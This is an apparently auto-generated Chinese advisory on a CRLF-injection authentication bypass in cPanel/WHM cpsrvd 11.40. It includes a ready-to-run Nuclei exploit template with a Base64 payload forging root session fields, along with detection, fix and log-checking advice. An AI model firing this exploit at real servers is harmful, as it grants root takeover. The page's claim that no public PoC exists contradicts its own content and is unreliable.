[webapps] cPanel - CRLF Injection
cPanel 11.40 (cpsrvd) 存在严重CRLF注入漏洞(CVE-2026-41940),可导致认证绕过和root权限接管。本文提供漏洞分析、PoC解释、修复建议及检测方法,适用于安全研究员和系统管理员。
cPanel/WHM cpsrvd守护进程存在CRLF注入,导致未认证攻击者可绕过认证并获得root权限。
High · CVSS 8.1📋 漏洞基础信息
| CVE | CVE-2026-41940 |
|---|---|
| 漏洞类型 | CRLF注入/认证绕过 |
| 受影响版本 | cPanel & WHM (cpsrvd) 11.40 |
| 危害等级 | High · CVSS 8.1 |
| 发布日期 | 2026-05-26 |
| 提交者 | nu11secur1tyAI |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
cpsrvd守护进程未对whostmgrsession cookie和Authorization头中的行分隔符(CRLF)进行正确过滤,攻击者可通过恶意构造的Base64载荷注入user=root、hasroot=1、tfa_verified=1等会话参数,绕过内部认证逻辑。
🎯 攻击场景
1. 攻击者向目标服务器发送POST请求至/login/?login_only=1,提交错误的用户名密码以获取初始whostmgrsession cookie。 2. 将恶意Base64编码的CRLF载荷(包含root:x、successful_internal_auth_with_timestamp=9999999999、user=root、tfa_verified=1、hasroot=1)放入Authorization头,同时携带初始whostmgrsession cookie发送GET请求至根路径。 3. 服务器因CRLF注入解析出伪造的认证记录,返回包含/cpsessXXXXXXXXXX/安全令牌的Location头。 4. 攻击者利用该令牌以root权限访问WHM面板。
💥 漏洞影响
攻击者可未经身份验证绕过cPanel/WHM认证,获取root权限管理WHM界面,进而完全控制服务器操作系统,导致数据泄露、服务中断等严重危害。
⚔️ Nuclei Exploit 模板
以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:
id: CVE-2026-41940-exploit
info:
name: cPanel CRLF Injection Exploit
author: your-name
severity: high
description: Exploits CRLF injection in cPanel/WHM to bypass authentication and obtain an admin session token.
http:
- raw:
- |
POST /login/?login_only=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Connection: close
user=root&pass=wrong_pass
- |
GET / HTTP/1.1
Host: {{Hostname}}
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession={{session}}
Connection: close
extractors:
- type: regex
name: token
part: header
internal: true
regex:
- '/cpsess\d{10}'
matchers:
- type: regex
part: header
regex:
- '/cpsess\d{10}'
condition: or🔬 深度技术分析
1. POST /login/?login_only=1 发送错误凭据,获取服务器分配的whostmgrsession cookie(会话基础)。 2. 构造Authorization头为Basic + Base64编码的CRLF载荷,载荷解码后为:root:x\r\nsuccessful_internal_auth_with_timestamp=9999999999\r\nuser=root\r\ntfa_verified=1\r\nhasroot=1。 3. 使用该头与初始cookie发起GET /请求,CRLF序列导致服务器在会话元数据中注入伪造的认证字段。 4. 从响应的Location头中提取/cpsessXXXXXXXXXX/令牌,即成功获得管理员会话。
🔍 Nuclei Detection 模板
以下为漏洞探测模板,用于判断目标是否受影响:
id: CVE-2026-41940-detection
info:
name: cPanel CRLF Injection Detection
author: your-name
severity: high
description: Detects vulnerable cPanel versions by checking for specific headers or version strings.
tags: cpanel,crlf,injection
http:
- method: GET
path:
- "{{BaseURL}}/login/"
host-redirects: true
max-redirects: 3
matchers-condition: and
matchers:
- type: word
part: header
words:
- "cpsrvd"
- type: status
status:
- 200
- 302🛡️ 修复建议
升级cPanel/WHM至不受影响版本,对Cookie和Authorization头中的CRLF序列进行严格过滤或转义,禁止直接注入换行符。临时缓解措施:在Web服务器或WAF层阻止包含\r\n序列的whostmgrsession cookie或Authorization头。
📎 参考链接
🚨 威胁评估
| 📈 EPSS 利用概率 | 暂无数据 |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 暂无公开 PoC |
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-27 08:13 | 来源: Exploit-DB
🤖 常见问题解答(FAQ)
❓ 如何利用此漏洞?
发送包含CRLF注入载荷的Authorization头和初始whostmgrsession cookie,服务器会返回有效管理令牌,无需密码即可获取root权限。
❓ 受影响的版本范围?
原文明确指出cPanel & WHM (cpsrvd) 11.40版本受影响,后续版本可能需要检查是否修复。
❓ 如何检测是否被利用?
检查Web访问日志中Authorization头是否有异常Base64载荷,或响应中突然出现/cpsessXXXXXXXXXX/令牌,结合异常cookie模式判断。